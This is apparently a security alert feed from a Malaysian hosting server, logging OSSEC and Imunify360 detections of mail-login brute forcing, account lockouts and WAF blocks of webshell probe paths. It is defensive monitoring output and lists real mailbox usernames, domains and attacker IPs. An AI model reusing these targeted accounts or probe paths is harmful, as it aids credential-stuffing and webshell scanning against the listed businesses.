# incident

plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:25:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:25:06 dovecot_login authenticator failed for H=(44dWl6Nq) [178.16.54.22]:59632: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:25:09 dovecot_login authenticator failed for H=(57G6BMI) [158.94.208.175]:53137: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.219.196.17
country_id: 690791
description:
2026-02-01 11:25:29 dovecot_login authenticator failed for H=(91-219-196-17.planeta.dn.ua) [91.219.196.17]:57432: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:25:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32852: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.175
country_id: 3865483
description:
2026-02-01 11:25:53 dovecot_login authenticator failed for H=(red.170.233.29.175.ssservicios.com.ar) [170.233.29.175]:59322: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.181
country_id: 2750405
description:
2026-02-01 11:26:18 219039 [Warning] Aborted connection 219039 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.181' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:26:21 dovecot_login authenticator failed for H=(IYLGfu) [178.16.54.22]:49833: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-02-01 11:26:25 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:48275: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:26:06 dovecot_login authenticator failed for H=(YWFI1VC) [158.94.208.175]:50287: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:27:05 dovecot_login authenticator failed for H=(pcSmWMI) [178.16.54.22]:51824: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:27:35 dovecot_login authenticator failed for H=(EdwxcHK) [178.16.52.139]:64714: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:27:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57242: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:27:21 dovecot_login authenticator failed for H=(7G20F41) [158.94.208.175]:64989: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:28:02 dovecot_login authenticator failed for H=(8h6vjd) [158.94.208.175]:64877: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.214.108.39
country_id: 3469034
description:
2026-02-01 11:28:06 dovecot_login authenticator failed for H=(b3d66c27.virtua.com.br) [179.214.108.39]:55472: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.118.162.194
country_id: 2453866
description:
2026-02-01 11:28:13 dovecot_login authenticator failed for H=([154.118.162.194]) [154.118.162.194]:56379: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:28:26 dovecot_login authenticator failed for H=(d7HGN27ty) [178.16.54.22]:62854: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 11:28:32 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:55722: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 11:28:39 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:34994: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:28:59 dovecot_login authenticator failed for H=(FR4r8SQmRW) [178.16.54.22]:60538: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:29:30 dovecot_login authenticator failed for H=(98V1ukXlNd) [158.94.208.175]:56809: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:29:17 dovecot_login authenticator failed for H=(qYDcOt) [178.16.54.22]:49687: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.72.190.209
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20351523583914 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.90.138
country_id: 2077456
description:
2026-02-01 11:29:39 dovecot_login authenticator failed for H=([123.209.90.138]) [123.209.90.138]:45898: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:29:26 dovecot_login authenticator failed for H=(ox9YX2zI0L) [178.16.52.139]:59395: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 11:29:29 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:50834: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-02-01 11:29:46 dovecot_login authenticator failed for H=([154.146.238.122]) [154.146.238.122]:49146: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.106.41.24
country_id: 3469034
description:
2026-02-01 11:29:10 dovecot_plain authenticator failed for H=(7J2Z8VH88YREWO) [187.106.41.24]:19715: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.102.113.97
country_id: 2635167
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/nexuscollection.com/products/officechair/pico/pico.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:30:04 dovecot_login authenticator failed for H=(aFn3b1i) [158.94.208.175]:61765: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.19.79.32
country_id: 285570
description:
2026-02-01 11:30:10 dovecot_plain authenticator failed for H=(loachern) [185.19.79.32]:35935: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:30:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39980: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:30:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61946: 535 Incorrect authentication data (set_id=iqrev10@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:30:18 dovecot_login authenticator failed for H=(HSR3PZVkh) [178.16.54.22]:50155: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:31:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52303: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 11:31:38 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:54038: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.91.226
country_id: 1562822
description:
2026-02-01 11:32:01 dovecot_login authenticator failed for H=([103.17.91.226]) [103.17.91.226]:51484: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-02-01 11:31:50 dovecot_login authenticator failed for H=([128.185.12.179]) [128.185.12.179]:46812: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.11.231.242
country_id: 1814991
description:
2026-02-01 11:31:59 dovecot_login authenticator failed for H=([1.15.123.146]) [175.11.231.242]:44286: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:31:03 dovecot_login authenticator failed for H=(mwjHshaEJB) [158.94.208.175]:56371: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:31:17 dovecot_login authenticator failed for H=(QVyHHE9z) [178.16.54.22]:54758: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 11:31:24 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:36632: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.169.148.186
country_id: 2963597
domain: mail.visoft.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/visoftcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:32:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59666: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:32:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33900: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:32:16 dovecot_login authenticator failed for H=(nF4IDUr4JF) [158.94.208.175]:51761: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:32:20 dovecot_login authenticator failed for H=(LtrMrq3Wx) [178.16.54.22]:58768: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.53.52.116
country_id: 1814991
description:
2026-02-01 11:32:33 dovecot_login authenticator failed for H=([111.53.52.116]) [111.53.52.116]:56610: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.195.252.115
country_id: 3996063
description:
2026-02-01 11:33:15 dovecot_plain authenticator failed for H=(D5USN7IUSI1V) [187.195.252.115]:60310: 535 Incorrect authentication data (set_id=httpsbooking.airasia.comiliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:33:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56951: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.169.148.186
country_id: 2963597
domain: mail.visoft.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/visoftcom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:33:09 dovecot_login authenticator failed for H=(9Xi77I) [178.16.54.22]:58880: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:33:18 dovecot_login authenticator failed for H=(EZE7Qkg) [158.94.208.175]:65088: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.51.0.79
country_id: 6252001
description:
2026-02-01 11:33:56 dovecot_plain authenticator failed for H=(1J0G627F) [98.51.0.79]:50227: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:33:32 dovecot_login authenticator failed for H=(Nkfmk7) [178.16.54.22]:57352: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.173.10.75
country_id: 6252001
description:
2026-02-01 11:33:47 dovecot_login authenticator failed for H=([209.173.10.75]) [209.173.10.75]:33380: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:33:51 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:34:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57378: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.53
country_id: 2017370
description:
2026-02-01 11:34:52 dovecot_login authenticator failed for H=([178.178.222.53]) [178.178.222.53]:60208: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:34:15 dovecot_login authenticator failed for H=(IYRNw3MT) [158.94.208.175]:49787: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:34:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:34:17 dovecot_login authenticator failed for H=(W0I1Oa8QD) [178.16.54.22]:61102: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:34:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.88
country_id: 1814991
description:
2026-02-01 11:34:07 dovecot_login authenticator failed for H=([27.24.141.88]) [27.24.141.88]:60360: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:35:01 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53664: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:35:25 dovecot_login authenticator failed for H=(7VCx63) [178.16.54.22]:60369: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:35:46 dovecot_login authenticator failed for H=(Tjhvv749) [178.16.52.139]:55978: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.6.65.17
country_id: 6254930
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/social_english_course.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:35:02 dovecot_login authenticator failed for H=(EfTKxjw) [158.94.208.175]:55798: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 11:35:03 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:44998: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:35:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:36:12 dovecot_login authenticator failed for H=(cxDDKo6) [178.16.54.22]:58576: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:36:51 dovecot_login authenticator failed for H=(Y1K1gJOZV) [92.118.39.145]:57374: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:36:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36004: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-02-01 11:36:45 dovecot_login authenticator failed for H=([152.52.227.94]) [152.52.227.94]:47546: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.113
country_id: 953987
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/toefl_preparation.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:36:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:36:10 dovecot_login authenticator failed for H=(HcF0zNjmAc) [158.94.208.175]:63411: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:36:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63446: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.184.218.49
country_id: 3469034
description:
2026-02-01 11:36:27 dovecot_login authenticator failed for H=(imparhoteis.static.gvt.net.br) [179.184.218.49]:59581: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:37:02 dovecot_login authenticator failed for H=(cvhaWpyH) [92.118.39.145]:57758: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:37:03 dovecot_login authenticator failed for H=(fAMKLUI) [178.16.54.22]:51692: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:37:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53494: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:37:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:37:21 dovecot_login authenticator failed for H=(3udCoTli5a) [158.94.208.175]:51828: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:37:50 dovecot_login authenticator failed for H=(ctGROcyn) [158.94.208.175]:60905: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-02-01 11:37:25 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:36230: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 11:37:46 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:56214: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-02-01 11:38:00 dovecot_login authenticator failed for H=([125.19.175.250]) [122.185.146.166]:35270: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 11:37:37 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:33900: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-01 11:37:07 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:59552: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.202
country_id: 1269750
description:
2026-02-01 11:37:52 dovecot_login authenticator failed for H=(nsg-corporate-169.76.187.122.airtel.in) [182.95.124.202]:42764: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.120.195
country_id: 248816
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/primary_school_english.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:38:33 dovecot_login authenticator failed for H=(HjToftiA) [178.16.54.22]:64387: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:38:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37362: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:38:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59761: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.172.203.43
country_id: 1814991
description:
2026-02-01 11:38:17 dovecot_login authenticator failed for H=([220.172.203.43]) [220.172.203.43]:36933: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:38:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb@col.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:38:16 dovecot_login authenticator failed for H=(sPlivRcqd) [158.94.208.175]:49699: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.241
country_id: 1668284
description:
2026-02-01 11:38:01 dovecot_login authenticator failed for H=111-70-23-241.emome-ip.hinet.net [111.70.23.241]:45771: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:38:03 dovecot_login authenticator failed for H=(XbMLxjQX) [92.118.39.145]:60017: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 11:39:55 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:42546: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:39:05 dovecot_login authenticator failed for H=(kiJsGL) [178.16.54.22]:62639: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.163.68
country_id: 953987
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/cambridge_english.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:39:08 dovecot_login authenticator failed for H=(SjkMb6olr) [158.94.208.175]:51679: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.105.202.227
country_id: 2750405
description:
2026-02-01 11:39:02 dovecot_login authenticator failed for H=(az1.ogffe5heuxkuriye0lxdzvrbcc.ax.internal.cloudapp.net) [20.105.202.227]:59228: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
